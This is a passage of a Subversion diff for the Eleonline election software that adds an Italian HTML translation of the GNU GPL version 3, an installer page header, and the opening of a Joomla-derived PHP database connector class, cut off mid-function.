+dell'aggregato.
+<div class="p"><!----></div>
+</li>
+
+<li> Distribuzione in formato non-sorgente
+
+
+<div class="p"><!----></div>
+	Puoi distribuire un programma coperto da questa Licenza in formato di
+	codice oggetto secondo i termini delle sezioni 4 e 5, ammesso che tu
+	fornisca anche il  Sorgente Corrispondente in formato comprensibile
+	da un computer sotto i termini di questa stessa Licenza, in uno dei
+	seguenti modi:
+	
+<ol type="a">
+<li> 		Distribuendo il codice oggetto in, o contenuto in, un prodotto
+		fisico (inclusi i mezzi fisici di distribuzione), accompagnato dal
+		Sorgente Corrispondente su un supporto fisico duraturo comunemente
+		utilizzato per lo scambio di software.
+<div class="p"><!----></div>
+</li>
+
+<li>
+	Distribuendo il codice oggetto in, o contenuto in, un prodotto fisico
+	(inclusi i mezzi fisici di distribuzione), accompagnato da un'offerta
+	scritta, valida per almeno tre anni e valida per tutto il tempo
+	durante il quale tu offri ricambi o supporto per quel modello di
+	prodotto, di fornire a chiunque possieda il codice oggetto (1) una
+	copia del Sorgente Corrispondente di tutto il software contenuto nel
+	prodotto che &#232; coperto da questa Licenza, su un supporto fisico
+	duraturo comunemente utilizzato per lo scambio di software, ad un
+	prezzo non superiore al costo ragionevole per effettuare fisicamente
+	tale distribuzione del sorgente, oppure (2) accesso alla copia del
+	Sorgente Corrispondente attraverso un server di rete senza alcun costo
+	aggiuntivo.
+<div class="p"><!----></div>
+</li>
+
+<li>
+	Distribuendo copie singole del codice oggetto assieme ad una copia
+	dell'offerta scritta di fornire il Sorgente Corrispondente. Questa
+	possibilit&#224; &#232; permessa soltanto occasionalmente e per fini non
+	commerciali, e solo se tu hai ricevuto il codice oggetto assieme ad
+	una tale offerta, in accordo alla sezione 6b.
+<div class="p"><!----></div>
+</li>
+
+<li>
+	Distribuendo il codice oggetto mediante accesso da un luogo designato
+	(gratis o dietro pagamento di un prezzo), e offrendo un accesso
+	equivalente al Sorgente Corrispondente alla stessa maniera a partire
+	dallo stesso luogo senza costi aggiuntivi. Non devi obbligare i
+	destinatari a copiare il Sorgente Corrispondente assieme al codice
+	oggetto. Se il luogo dal quale copiare il codice oggetto &#232; un server
+	di rete, il Sorgente Corrispondente pu&#242; trovarsi su un server
+	differente (gestito da te o da terze parti) che fornisca
+	funzionalit&#224; equivalenti per la copia, a patto che tu fornisca delle
+	indicazioni chiare accanto al codice oggetto che indichino dove
+	trovare il Sorgente Corrispondente. Indipendentemente da quale server
+	ospiti il Sorgente Corrispondente, tu rimani obbligato ad assicurare
+	che esso rimanga disponibile per tutto il tempo necessario a
+	soddisfare queste condizioni.
+
+<div class="p"><!----></div>
+</li>
+
+<li>
+	Distribuendo il codice oggetto mediante trasmissione peer-to-peer, a
+	patto che tu informi gli altri peer circa il luogo in cui il codice
+	oggetto e il Sorgente Corrispondente sono gratuitamente offerti al
+	pubblico secondo i termini della sezione 6d.
+<div class="p"><!----></div>
+</li>
+</ol>
+
+<div class="p"><!----></div>
+	Una porzione separabile del codice oggetto, il cui sorgente &#232;
+	escluso dal Sorgente Corrispondente e trattato come Libreria di
+	Sistema, non deve essere obbligatoriamente inclusa nella distribuzione
+	del codice oggetto del programma.
+
+<div class="p"><!----></div>
+
+Un "Prodotto Utente" &#232; un (1) "prodotto consumer", cio&#232;
+qualunque propriet&#224; personale tangibile che &#232; normalmente utilizzata
+per scopi personali, familiari o domestici, oppure (2) qualunque cosa
+progettata o venduta per essere utilizzata in ambiente domestico. Nella
+classificazione di un prodotto come "prodotto consumer", i casi dubbi
+andranno risolti in favore dell'ambito di applicazione. Per un dato
+prodotto ricevuto da un dato utente, "normalmente utilizzato" si
+riferisce ad un uso tipico o comune di quella classe di prodotti,
+indipendentemente dallo stato dell'utente specifico o dal modo in cui
+l'utente specifico utilizza, o si aspetta o ci si aspetta che utilizzi,
+il prodotto. Un prodotto &#232; un "prodotto consumer" indipendentemente
+dal fatto che abbia usi commerciali, industriali o diversi da quelli
+"consumer", a meno che questi usi non rappresentino il solo modo utile
+di utilizzare il prodotto in questione.
+
+<div class="p"><!----></div>
+Le "Informazioni di Installazione" per un Prodotto Utente sono i
+metodi, le procedure, le chiavi di autorizzazioni o altre informazioni
+necessarie per installare ed eseguire versioni modificate di un
+programma coperto da questa Licenza all'interno di un Prodotto Utente, a
+partire da versioni modificate dei suoi Sorgenti Corrispondenti. Tali
+informazioni devono essere sufficienti ad assicurare che il
+funzionamento del codice oggetto modificato non sia in nessun caso
+proibito o ostacolato per il solo fatto che sono state apportate delle
+modifiche.
+
+<div class="p"><!----></div>
+Se distribuisci un codice oggetto secondo le condizioni di questa
+sezione in, o assieme, o specificatamente per l'uso in o con un Prodotto
+Utente, e la distribuzione avviene come parte di una transazione nella
+quale il diritto di possesso e di uso del Prodotto Utente viene
+trasferito al destinatario per sempre o per un periodo prefissato
+(indipendentemente da come la transazione sia caratterizzata), il
+Sorgente Corrispondente distribuito secondo le condizioni di questa
+sezione deve essere accompagnato dalle Informazioni di
+Installazione. Questa condizione non &#232; richiesta se n&#232; tu n&#232; una
+terza parte ha la possibilit&#224; di installare versioni modificate del
+codice oggetto sul Prodotto Utente (ad esempio, se il programma &#232;
+
+installato su una ROM)
+
+<div class="p"><!----></div>
+La condizione che richiede di fornire delle Informazioni di Installazione
+non implica che venga fornito supporto, garanzia o aggiornamenti per un
+programma che &#232; stato modificato o installato dal destinatario, o per
+il Prodotto Utente in cui esso &#232; stato modificato o installato.
+L'accesso ad una rete pu&#242; essere negato se le modifiche apportate
+impattano materialmente sull'operativit&#224; della rete o se violano le
+regole e i protocolli di comunicazione attraverso la rete. 
+
+<div class="p"><!----></div>
+Il Sorgente Corrispondente distribuito, e le Informazioni di
+Installazione fornite, in accordo con questa sezione, devono essere in
+un formato che sia pubblicamente documentato (e con una implementazione
+pubblicamente disponibile in formato di codice sorgente), e non devono
+richiedere speciali password o chiavi per essere spacchettate, lette o
+copiate.
+<div class="p"><!----></div>
+</li>
+
+<li> Condizioni Aggiuntive.
+
+
+<div class="p"><!----></div>
+Le "Condizioni Aggiuntive" sono condizioni che completano le
+condizioni di questa Licenza permettendo delle eccezioni a una o pi&#249;
+delle condizioni sopra elencate. Le condizioni aggiuntive che sono
+applicabili all'intero Programma devono essere considerate come se
+fossero incluse in questa Licenza, a patto che esse siano valide secondo
+le normative vigenti. Se alcune condizioni aggiuntive fanno riferimento
+soltanto ad alcune parti del Programma, quelle parti possono essere
+utilizzate separatamente sotto le stesse condizioni, ma l'intero
+Programma rimane sottoposto a questa Licenza senza riferimento ad alcuna
+condizione aggiuntiva.
+
+<div class="p"><!----></div>
+Quando distribuisci una copia di un programma coperto da questa Licenza,
+puoi, a tua discrezione, eliminare qualunque condizione aggiuntiva dalla
+copia, o da parte di essa. (Le Condizioni Aggiuntive possono essere
+scritte in maniera tale da richiedere la loro rimozione in certi casi di
+modifica del Programma). Puoi aggiungere Condizioni Aggiuntive su
+materiale, aggiunto da te ad un'opera coperta da questa Licenza, per il
+quale hai o puoi garantire un'adeguata licenza di copyright.
+
+<div class="p"><!----></div>
+Indipendentemente da qualunque altra condizione di questa Licenza, e per
+il materiale che aggiungi ad un'opera coperta da questa Licenza, puoi
+(se autorizzato dai legittimi detentori del copyright per il suddetto
+materiale) aggiungere alle condizioni di questa Licenza delle condizioni
+che:
+
+<div class="p"><!----></div>
+
+<ol type="a">
+<li>	Negano la garanzia o limitano la responsabilit&#224; del Programma in
+	maniera differente da quanto riportato nelle sezioni 15 e 16 di questa
+	Licenza; oppure
+<div class="p"><!----></div>
+</li>
+
+<li>
+	Richiedono il mantenimento di specifiche e circostanziate informative
+	legali o di note di attribuzione ad autori nel materiale o assieme
+	alle Adeguate Informazioni Legali mostrate dal Programma che lo
+	contiene; oppure
+<div class="p"><!----></div>
+</li>
+
+<li>
+	Proibiscono di fornire informazioni errate o ingannevoli sull'origine
+	e la provenienza del materiale in oggetto, o richiedono che versioni
+	modificate di tale materiale siano appositamente marcate in maniera
+	differente rispetto alla versione originale; oppure
+<div class="p"><!----></div>
+</li>
+
+<li>
+	Limitano l'utilizzo per scopi pubblicitari del nome dei detentori del
+	copyright o degli autori del materiale; oppure
+<div class="p"><!----></div>
+
+</li>
+
+<li>
+	Rifiutano di garantire diritti secondo le leggi sulla propriet&#224;
+	intellettuale circa l'uso di nomi, marchi di fabbrica o similari;
+	oppure
+<div class="p"><!----></div>
+</li>
+
+<li>
+	Richiedono l'indennizzo dei detentori del copyright o degli autori del
+	materiale in oggetto da parte di chi distribuisce il materiale (o
+	versioni modificate dello stesso) con impegni contrattuali circa la
+	responsabilit&#224; nei confronti del destinatario, per qualunque
+	responsabilit&#224; che questi impegni contrattuali dovessero imporre
+	direttamente ai suddetti detentori del copyright e autori.
+
+<div class="p"><!----></div>
+</li>
+</ol>
+
+<div class="p"><!----></div>
+Tutte le altre condizioni addizionali non-permissive sono considerate
+"ulteriori restrizioni", secondo il significato specificato alla
+sezione 10. Se il Programma o parti di esso contengono, all'atto della
+ricezione dello stesso, informative che specificano che esso &#232;
+soggetto a questa Licenza assieme ad una condizione che &#232; una
+"ulteriore restrizione", puoi rimuovere quest'ultima condizione. Se un
+documento di licenza contiene ulteriori restrizioni ma permette di
+rilicenziare o distribuire il Programma con questa Licenza, puoi
+aggiungere al Programma del materiale coperto dalle condizioni di quel
+documento di licenza, a patto che le ulteriori restrizioni non compaiano
+nelle versioni rilicenziate o ridistribuite. 
+
+<div class="p"><!----></div>
+Se aggiungi ad un Programma coperto da questa Licenza delle condizioni
+aggiuntive in accordo con questa sezione, devi aggiungere anche, nei
+file sorgenti corrispondenti, un avviso che riassuma le condizioni
+aggiuntive applicate a quei file, ovvero un avviso che specifichi dove
+&#232; possibile trovare copia delle condizioni aggiunte.
+
+<div class="p"><!----></div>
+Tutte le Condizioni aggiuntive, permissive o non-permissive, devono
+essere espresse nella forma di una licenza scritta e separata, o
+espresse esplicitamente come eccezioni; in entrambi i casi valgono le
+condizioni succitate.
+<div class="p"><!----></div>
+
+</li>
+
+<li> Cessazione di Licenza
+
+<div class="p"><!----></div>
+Non puoi propagare o modificare un programma coperto da questa Licenza
+in maniera diversa da quanto espressamente consentito da questa
+Licenza. Qualunque tentativo di propagare o modificare altrimenti il
+Programma &#232; nullo, e provoca l'immediata cessazione dei diritti
+garantiti da questa Licenza (compresi tutte le eventuali licenze di
+brevetto garantite ai sensi del terzo paragrafo della sezione 11). 
+
+<div class="p"><!----></div>
+In ogni caso, se cessano tutte le violazioni di questa Licenza, allora
+la tua licenza da parte di un dato detentore del copyright viene
+ripristinata (a) in via cautelativa, a meno che e fino a quando il
+detentore del copyright non cessa esplicitamente e definitivamente la
+tua licenza, e (b) in via permanente se il detentore del copyright non
+ti notifica in alcun modo la violazione entro 60 giorni dalla cessazione
+della licenza.
+
+<div class="p"><!----></div>
+Inoltre, la tua licenza da parte di un dato detentore del copyright
+viene ripristinata in maniera permanente se il detentore del copyright ti
+notifica la violazione in maniera adeguata, se questa &#232; la prima volta
+che ricevi una notifica di violazione di questa Licenza (per qualunque
+Programma) dallo stesso detentore di copyright, e se rimedi alla
+violazione entro 30 giorni dalla data di ricezione della notifica di
+violazione.
+
+<div class="p"><!----></div>
+La cessazione dei tuoi diritti come specificato in questa sezione non
+provoca la cessazione delle licenze di terze parti che abbiano ricevuto
+copie o diritti da te secondo questa Licenza. Se i tuoi diritti cessano
+e non sono ristabiliti in via permanente, non hai diritto di ricevere
+nuove licenze per lo stesso materiale, secondo quanto stabilito nella
+sezione 10.
+<div class="p"><!----></div>
+
+</li>
+
+<li> L'ottenimento di copie non richiede l'accettazione della Licenza
+
+<div class="p"><!----></div>
+Non sei obbligato ad accettare i termini di questa Licenza al solo fine
+di ottenere o eseguire una copia del Programma. Similmente, propagazioni
+collaterali di un Programma coperto da questa Licenza che occorrono come
+semplice conseguenza dell'utilizzo di trasmissioni peer-to-peer per la
+ricezione di una copia non richiedono l'accettazione della Licenza. In
+ogni caso, solo e soltanto questa Licenza ti garantiscono il permesso di
+propagare e modificare qualunque programma coperto da questa
+Licenza. Queste azioni violano le leggi sul copyright nel caso in cui tu
+non accetti questa Licenza. Pertanto, modificando o propagando un
+programma coperto da questa Licenza, indichi implicitamente la tua
+accettazione della Licenza.
+<div class="p"><!----></div>
+</li>
+
+<li> Licenza Automatica per i successivi destinatari
+
+<div class="p"><!----></div>
+Ogni qual volta distribuisci un programma coperto da questa Licenza, il
+destinatario riceve automaticamente una licenza, dal detentore
+originario del copyright, di eseguire, modificare e propagare il
+programma, nel rispetto di questa Licenza. Non sei ritenuto responsabile
+del rispetto di questa Licenza da parte di terze parti.
+
+<div class="p"><!----></div>
+Una "transazione d' entit&#224;" &#232; una transazione che trasferisce il
+controllo di una organizzazione, o sostanzialmente di tutti i suoi beni,
+che suddivide una organizzazione o che fonde pi&#249; organizzazioni. Se la
+propagazione di un programma coperto da questa Licenza &#232; conseguente
+ad una transazione di entit&#224;, ciascuna parte che ha ruolo nella
+transazione e che riceve una copia del programma riceve allo stesso tempo
+qualsiasi licenza sul programma che i predecessori della parte
+possedevano o potevano rilasciare nel rispetto del paragrafo precedente,
+e in pi&#249; il diritto di possesso del Sorgente Corrispondente del
+programma dal predecessore in interesse, se il predecessore lo possiede
+o se pu&#242; ottenerlo senza troppe difficolt&#224;.
+
+
+<div class="p"><!----></div>
+Non puoi imporre nessuna ulteriore restrizione sull'esercizio dei
+diritti garantiti o affermati da questa Licenza. Per esempio, non puoi
+imporre un prezzo di licenza, una royalty, o altri costi per
+l'esercizio dei diritti garantiti da questa Licenza, a non puoi dar
+corso ad una controversia (ivi incluse le controversie incrociate o la
+difesa in cause legali) affermando che siano stati violati dei
+brevetti a causa della produzione, dell'uso, della vendita, della
+messa in vendita o dell'importazione del Programma o di sue parti.
+<div class="p"><!----></div>
+</li>
+
+<li> Brevetti.
+
+<div class="p"><!----></div>
+Un "contribuente" &#232; un detentore di copyright che autorizza l'uso
+secondo questa Licenza di un Programma o di un'opera basata sul
+Programma. L'opera cos&#236; licenziata viene chiamata "versione del
+contribuente". 
+
+<div class="p"><!----></div>
+I "diritti essenziali di brevetto" da parte di un contribuente sono
+tutti i diritti di brevetto che appartengono o che sono controllati dal
+contribuente, che siano gi&#224; acquisiti o che saranno acquisiti in
+futuro, che possano essere violati in qualche maniera, consentita da
+questa Licenza, generando, modificando o vendendo la versione del
+contribuente, ma non includono i diritti che possano essere violati
+soltanto come conseguenza di ulteriori modifiche alla versione del
+contribuente. In relazione a questa definizione, il termine
+"controllo" include il diritto di garantire sottolicenze di brevetto
+in maniera consistente con le condizioni di questa Licenza.
+
+
+<div class="p"><!----></div>
+Ciascun contribuente ti garantisce la licenza di brevetto sui diritti
+essenziali di brevetto del contribuente stesso non-esclusiva, valida in
+tutto il mondo, esente da royalty, di creare, usare, vendere, offrire in
+vendita, importare e altrimenti eseguire, modificare e propagare i
+contenuti della versione del contribuente.
+
+<div class="p"><!----></div>
+Nei tre paragrafi successivi, con "licenza di brevetto" si intende
+qualunque accordo o contratto, comunque denominato, di non
+rivendicazione di un brevetto (come ad esempio un permesso esplicito di
+utilizzare un brevetto o un accordo di rinuncia alla persecuzione per
+violazione di brevetto). "Garantire" una tale licenza di brevetto ad
+una parte significa portare a termine un tale accordo o contratto di non
+rivendicazione di brevetto contro la parte.
+
+<div class="p"><!----></div>
+Se distribuisci un programma coperto da questa Licenza, confidando
+consapevolmente su una licenza di brevetto, e il Sorgente Corrispondente
+per il programma non &#232; reso disponibile per la copia, senza alcun
+onere aggiuntivo e comunque nel rispetto delle condizioni di questa
+Licenza, attraverso un server di rete pubblicamente accessibile o
+tramite altri mezzi facilmente accessibili, allora devi (1) fare in modo
+che il Sorgente Corrispondente sia reso disponibile come sopra, oppure
+(2) fare in modo di rinunciare ai benefici della licenza di brevetto per
+quel particolare programma, oppure (3) adoperarti, in maniera
+consistente con le condizioni di questa Licenza, per estendere la
+licenza di brevetto a tutti i destinatari successivi. "Confidare
+consapevolmente" significa che tu sei attualmente cosciente che,
+eccettuata la licenza di brevetto, la distribuzione da parte tua di un
+programma protetto da questa Licenza in un paese, o l'utilizzo in un
+paese del programma coperto da questa Licenza da parte di un
+destinatario, pu&#242; violare uno o pi&#249; brevetti in quel paese che tu
+hai ragione di ritenere validi.
+
+<div class="p"><!----></div>
+Se, come conseguenza o in connessione con una singola transazione o
+con un dato accordo, distribuisci, o fai in modo di distribuire, un
+programma coperto da questa Licenza, e garantisci una licenza di
+brevetto per alcune delle parti che ricevono il Programma
+autorizzandole ad utilizzare, propagare, modificare o distribuire una
+specifica copia del Programma, allora la licenza di brevetto che
+fornisci &#232; automaticamente estesa a tutti i destinatari del
+Programma coperto da questa Licenza e delle opere basate sul
+Programma.
+
+<div class="p"><!----></div>
+
+Una licenza di brevetto &#232; "discriminatoria" se non include
+nell'ambito della sua copertura, proibisce l'esercizio, o &#232; vincolata
+al non-esercizio di uno o pi&#249; dei diritti che sono specificatamente
+garantiti da questa Licenza. Non puoi distribuire un Programma coperto
+da questa Licenza se sei parte di un accordo con una terza parte la cui
+attivit&#224; comprende la distribuzione di software, secondo il quale tu
+sei costretto ad un pagamento alla parte terza in funzione della tua
+attivit&#224; di distribuzione del Programma, e in conseguenza del quale la
+parte terza garantisce, a qualunque delle parti che riceveranno il
+Programma da te, una licenza di brevetto discriminatoria (a) assieme a
+copie del Programma coperto da questa Licenza distribuite da te (o ad
+altre copie fatte da codeste copie), oppure (b) principalmente per e in
+connessione con specifici prodotti o raccolte di prodotti che contengono
+il Programma, a meno che l'accordo non sia stato stipulato, o le licenze
+di brevetto non siano state rilasciate, prima del 28 Marzo 2007.
+
+<div class="p"><!----></div>
+Nessuna parte di questa Licenza pu&#242; essere interpretata come atta ad
+escludere o limitare gli effetti di qualunque altra licenza o altri
+meccanismi di difesa dalla violazione che possano altrimenti essere resi
+disponibili dalla normativa vigente in materia di brevetti.
+<div class="p"><!----></div>
+</li>
+
+<li> Nessuna resa di libert&#224; altrui
+
+<div class="p"><!----></div>
+Se ti vengono imposte delle condizioni (da un ordine giudiziario, da
+un accordo o da qualunque altra eventualit&#224;) che contraddicono le
+condizioni di questa Licenza, non sei in nessun modo esonerato dal
+rispetto delle condizioni di questa Licenza. Se non puoi distribuire
+un Programma coperto da questa Licenza per sottostare simultaneamente
+agli obblighi derivanti da questa Licenza e ad altri obblighi
+pertinenti, allora non puoi distribuire il Programma per nessun
+motivo. Per esempio, se accetti delle condizioni che ti obbligano a
+richiedere il pagamento di una royalty per le distribuzioni
+successivamente effettuate da coloro ai quali hai distribuito il
+Programma, l'unico modo per soddisfare sia queste condizioni che
+questa Licenza &#232; evitare del tutto la distribuzione del Programma.
+<div class="p"><!----></div>
+</li>
+
+<li> Utilizzo con la GNU Affero General Public License
+
+<div class="p"><!----></div>
+Indipendentemente da qualunque altra condizione espressa da questa
+Licenza, hai il permesso di collegare o combinare qualunque Programma
+coperto da questa Licenza con un'opera rilasciata sotto la versione 3
+della licenza GNU Affero General Public License, ottenendo un singolo
+Programma derivato, e di distribuire il Programma risultante. Le
+condizioni di questa Licenza continuano a valere per le parti
+riguardanti il Programma che sono coperte da questa Licenza, mentre le
+condizioni speciali della GNU Affero General Public License, sezione 13,
+riguardanti l'interazione mediante rete, saranno applicate al Programma
+cos&#236; risultante.
+
+<div class="p"><!----></div>
+</li>
+
+<li> Versioni rivedute di questa Licenza
+
+<div class="p"><!----></div>
+La Free Software Foundation pu&#242; pubblicare delle versioni rivedute
+e/o delle nuove versioni della GNU General Public License di tanto in
+tanto. Tali versioni saranno simili, nello spirito, alla presente
+versione, ma potranno differire nei dettagli al fine di affrontare
+nuovi problemi e nuove situazioni. 
+
+<div class="p"><!----></div>
+A ciascuna versione viene assegnato un numero identificativo di
+versione. Se il Programma specifica che si applica a s&#232; stesso una
+certa versione della GNU General Public License, "o qualunque altra
+versione successiva", hai la possibilit&#224; di sottostare alle
+condizioni di quella specifica versione o di qualunque altra versione
+successiva pubblicata dalla Free Software Foundation. Se il Programma
+non specifica un numero di versione della GNU General Public License,
+puoi scegliere qualunque versione della GNU General Public License
+pubblicata dalla Free Software Foundation. 
+
+<div class="p"><!----></div>
+Se il Programma specifica che un sostituto o un procuratore pu&#242;
+
+decidere quali versioni future della GNU General Public License posso
+essere utilizzate, allora tale scelta di accettazione di una data
+versione ti autorizza, in maniera permanente, ad utilizzare quella
+versione della Licenza per il Programma. 
+
+<div class="p"><!----></div>
+Versioni successive della Licenza possono garantire diritti aggiuntivi o
+leggermente differenti. Ad ogni modo, nessun obbligo aggiuntivo viene
+imposto agli autori o ai detentori di copyright come conseguenza della
+tua scelta di adottare una versione successiva della Licenza.
+<div class="p"><!----></div>
+</li>
+
+<li> Rinuncia alla Garanzia
+
+<div class="p"><!----></div>
+NON C'E' NESSUNA GARANZIA PER IL PROGRAMMA, PER QUANTO CONSENTITO DALLE
+VIGENTI NORMATIVE. ECCETTO QUANDO ALTRIMENTI STABILITO PER ISCRITTO, I
+DETENTORI DEL COPYRIGHT E/O LE ALTRE PARTI FORNISCONO IL PROGRAMMA
+"COSI' COME &#200;" SENZA GARANZIA DI ALCUN TIPO, NE' ESPRESSA NE'
+IMPLICITA, INCLUSE, MA NON LIMITATE A, LE GARANZIE DI COMMERCIABILITA' O
+DI UTILIZZABILITA' PER UN PARTICOLARE SCOPO. L'INTERO RISCHIO
+CONCERNENTE LA QUALITA' E LE PRESTAZIONI DEL PROGRAMMA E' DEL
+LICENZIATARIO. SE IL PROGRAMMA DOVESSE RISULTARE DIFETTOSO, IL
+LICENZIATARIO SI ASSUME I COSTI DI MANUTENZIONE, RIPARAZIONE O
+CORREZIONE.
+<div class="p"><!----></div>
+</li>
+
+<li> Limitazione di Responsabilit&#224;
+
+<div class="p"><!----></div>
+  IN NESSUN CASO, A MENO CHE NON SIA RICHIESTO DALLA NORMATIVA VIGENTE
+  O CONCORDATO PER ISCRITTO, I DETENTORI DEL COPYRIGHT, O QUALUNQUE
+  ALTRA PARTE CHE MODIICA E/O DISTRIBUISCE IL PROGRAMMA SECONDO LE
+  CONDIZIONI PRECEDENTI, POSSONO ESSERE RITENUTI RESPONSABILI NEI
+  CONFRONTI DEL LICENZIATARIO PER DANNI, INCLUSO QUALUNQUE
+  DANNEGGIAMENTO GENERICO, SPECIALE, INCIDENTALE O CONSEQUENZIALE
+  DOVUTO ALL'USO O ALL'IMPOSSIBILITA' D'USO DEL PROGRAMMA (INCLUSI, MA
+  NON LIMITATI A, LE PERDITE DI DATI, LA CORRUZIONE DI DATI, LE
+  PERDITE SOSTENUTE DAL LICENZIATARIO O DA TERZE PARTI O
+  L'IMPOSSIBILITA' DEL PROGRAMMA A FUNZIONARE ASSIEME AD ALTRI
+  PROGRAMMI), ANCHE NEL CASO IN CUI IL DETENTORE O LE ALTRE PARTI
+  SIANO STATI AVVISATI CIRCA LA POSSIBILITA' DI TALI DANNEGGIAMENTI.
+<div class="p"><!----></div>
+</li>
+
+<li> Interpretazione delle Sezioni 15 e 16.
+
+<div class="p"><!----></div>
+Se la dichiarazione di garanzia e la limitazione di responsabilit&#224;
+fornite precedentemente non hanno effetto legale in un paese a causa
+delle loro condizioni, le corti di giustizia devono applicare la norma
+locale che pi&#249; si avvicini al rifiuto assoluto di qualsivoglia
+responsabilit&#224; civile relativa al Programma, a meno che una garanzia o
+una assunzione di responsabilit&#224; scritta non accompagni una copia del
+programma ottenuta dietro pagamento.
+
+
+<div class="p"><!----></div>
+
+<center>  <font size="+2"> Fine dei Termini e delle Condizioni</font>
+
+<div class="p"><!----></div>
+  Come applicare questre condizioni di Licenza ai vostri programmi
+
+<div class="p"><!----></div>
+</center>Se sviluppi un nuovo programma, e vuoi che esso sia della massima
+utilit&#224;, il modo migliore &#232; renderlo software libero in modo che
+chiunque possa ridistribuirlo e modificarlo secondo i termini di questa
+Licenza.
+
+<div class="p"><!----></div>
+Per fare ci&#242;, allega le seguenti note informative al programma. Il
+modo migliore &#232; inserirle all'inizio di ciascun file sorgente, al fine
+di rimarcare adeguatamente la mancanza di garanzia; ciascun file
+dovrebbe inoltre contenere la dichiarazione di copyright e un
+riferimento al posto in cui &#232; possibile ottenere la versione completa
+delle note informative.
+
+
+<div class="p"><!----></div>
+
+<blockquote>  &lt;one line to give the program's name and a brief idea of what it does.&#62;
+
+<div class="p"><!----></div>
+  Copyright (C) &lt;year&#62;  &lt;name of author&#62;
+
+<div class="p"><!----></div>
+  This program is free software: you can redistribute it and/or modify
+  it under the terms of the GNU General Public License as published by
+  the Free Software Foundation, either version 3 of the License, or
+  (at your option) any later version.
+
+
+<div class="p"><!----></div>
+  This program is distributed in the hope that it will be useful,
+  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  GNU General Public License for more details.
+
+<div class="p"><!----></div>
+  You should have received a copy of the GNU General Public License
+  along with this program.  If not, see
+  http://www.gnu.org/licenses/.
+
+<div class="p"><!----></div>
+</blockquote>Inoltre, aggiungi le informazioni necessarie a contattarti via posta
+ordinaria o via posta elettronica.
+
+<div class="p"><!----></div>
+Se il programma interagisce mediante terminale, fai in modo che
+visualizzi, quando viene avviato in modalit&#224; interattiva, un breve
+messaggio come quello che segue:
+
+<div class="p"><!----></div>
+
+<blockquote>  &lt;program&#62;  Copyright (C) &lt;year&#62;  &lt;name of author&#62;
+
+<div class="p"><!----></div>
+  This program comes with ABSOLUTELY NO WARRANTY; for details type
+<tt>show w</tt>.
+  This is free software, and you are welcome to redistribute it
+  under certain conditions; type <tt>show c</tt> for details.
+</blockquote>
+
+<div class="p"><!----></div>
+Gli ipotetici comandi <tt>show w</tt> e <tt>show c</tt> devono visualizzare le
+parti corrispondenti della GNU General Public License. Naturalmente i
+comandi del tuo programma potrebbero essere differenti; per una
+interfaccia di tipo GUI, dovresti usare un bottone "About" o
+"Info". 
+
+
+<div class="p"><!----></div>
+Devi inoltre fare in modo che il tuo datore di lavoro (se lavori come
+programmatore presso terzi) o la tua scuola, eventualmente, firmino una
+"rinuncia al copyright" sul programma, se necessario. Per maggiori
+informazioni su questo punto, e su come applicare e rispettare la GNU
+GPL, consultare la pagina http://www.gnu.org/licenses/.
+
+<div class="p"><!----></div>
+La GNU General Public License non consente di incorporare il programma
+all'interno di software proprietario. Se il tuo programma &#232; una
+libreria di funzioni, potresti ritenere pi&#249; opportuno consentire il
+collegamento tra software proprietario e la tua libreria. Se &#232; questo
+ci&#242; che vuoi, allora utilizza la GNU Lesser General Public License
+anzich&#233; questa Licenza, ma prima leggi
+http://www.gnu.org/philosophy/why-not-lgpl.html.
+<div class="p"><!----></div>
+</li>
+</ol>
+
+<div class="p"><!----></div>
+
+
Index: /trunk/elezioni/trunk/install/header.php
===================================================================
--- /trunk/elezioni/trunk/install/header.php	(revision 44)
+++ /trunk/elezioni/trunk/install/header.php	(revision 44)
@@ -0,0 +1,16 @@
+<?php echo "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?".">"; ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title>Eleonline Installer</title>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
+<link rel="stylesheet" href="install.css" type="text/css" />
+</head>
+<body>
+<? include_once("./version.php"); 
+echo '<div id="wrapper">
+	<div id="header">
+		<div id="eleonline"><img src="header_install.png" alt="Installazione Eleonline" title="Installazione Eleonline" /></div>
+	</div>
+</div>';
+?>
Index: /trunk/elezioni/trunk/install/includes/database.php
===================================================================
--- /trunk/elezioni/trunk/install/includes/database.php	(revision 44)
+++ /trunk/elezioni/trunk/install/includes/database.php	(revision 44)
@@ -0,0 +1,1310 @@
+<?php
+
+/************************************************************************/
+/* Eleonline                                                            */
+/* ============================================                         */
+/*  Installer was based on Joomla Installer                             */
+/************************************************************************/
+
+
+// no direct access
+defined( '_VALID_MOS' ) or die( 'Restricted access' );
+
+/**
+* Database connector class
+* @subpackage Database
+* @package PHP-Nuke
+*/
+class database {
+	/** @var string Internal variable to hold the query sql */
+	var $_sql			= '';
+	/** @var int Internal variable to hold the database error number */
+	var $_errorNum		= 0;
+	/** @var string Internal variable to hold the database error message */
+	var $_errorMsg		= '';
+	/** @var string Internal variable to hold the prefix used on all database tables */
+	var $_table_prefix	= '';
+	/** @var Internal variable to hold the connector resource */
+	var $_resource		= '';
+	/** @var Internal variable to hold the last query cursor */
+	var $_cursor		= null;
+	/** @var boolean Debug option */
+	var $_debug			= 0;
+	/** @var int The limit for the query */
+	var $_limit			= 0;
+	/** @var int The for offset for the limit */
+	var $_offset		= 0;
+	/** @var int A counter for the number of queries performed by the object instance */
+	var $_ticker		= 0;
+	/** @var array A log of queries */
+	var $_log			= null;
+	/** @var string The null/zero date string */
+	var $_nullDate		= '0000-00-00 00:00:00';
+	/** @var string Quote for named objects */
+	var $_nameQuote		= '`';
+
+	/**
+	* Database object constructor
+	* @param string Database host
+	* @param string Database user name
+	* @param string Database user password
+	* @param string Database name
+	* @param string Common prefix for all tables
+	* @param boolean If true and there is an error, go offline
+	*/
+	function database( $host='localhost', $user, $pass, $db='', $table_prefix='', $goOffline=true ) {
+		// perform a number of fatality checks, then die gracefully
+		if (!function_exists( 'mysql_connect' )) {
+			$mosSystemError = 1;
+			if ($goOffline) {
+				$basePath = dirname( __FILE__ );
+				include $basePath . '/../configuration.php';
+				include $basePath . '/../offline.php';
+				exit();
+			}
+		}
+		if (phpversion() < '4.2.0') {
+			if (!($this->_resource = @mysql_connect( $host, $user, $pass ))) {
+				$mosSystemError = 2;
+				if ($goOffline) {
